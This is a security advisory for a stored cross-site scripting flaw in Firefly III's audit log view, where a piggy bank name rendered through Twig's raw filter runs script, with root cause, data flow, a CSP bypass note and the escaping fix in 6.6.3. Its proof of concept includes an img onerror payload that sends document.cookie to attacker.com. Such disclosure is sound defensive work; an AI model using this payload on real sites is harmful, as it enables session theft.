Advisory

GHSA-6jq6-x4cx-qvcm

Also known as: None

Summary

Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)

Details

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (`resources/views/list/ale.twig` lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

  1. Authenticate as any user
  2. POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
  3. Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
  4. Trigger the rule on any transaction
  5. Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

  • Stored XSS persists in DB — fires for every user who views the transaction
  • Cookie theft → session hijacking
  • In multi-user setups: one user attacks another user or admin
  • Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Severity

Medium Basis: The source's own band: MODERATE

Dates

Published
2026-06-12 15:04 UTC
Modified
2026-09-10 03:51 UTC

Affected packages and fixes

grumpydictator/firefly-iii

Packagist · All systems

Affected

  • introduced 0, fixed 6.6.3 (ecosystem)

Fixed versions

6.6.3

Fix

The export has no generic command for this ecosystem.

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences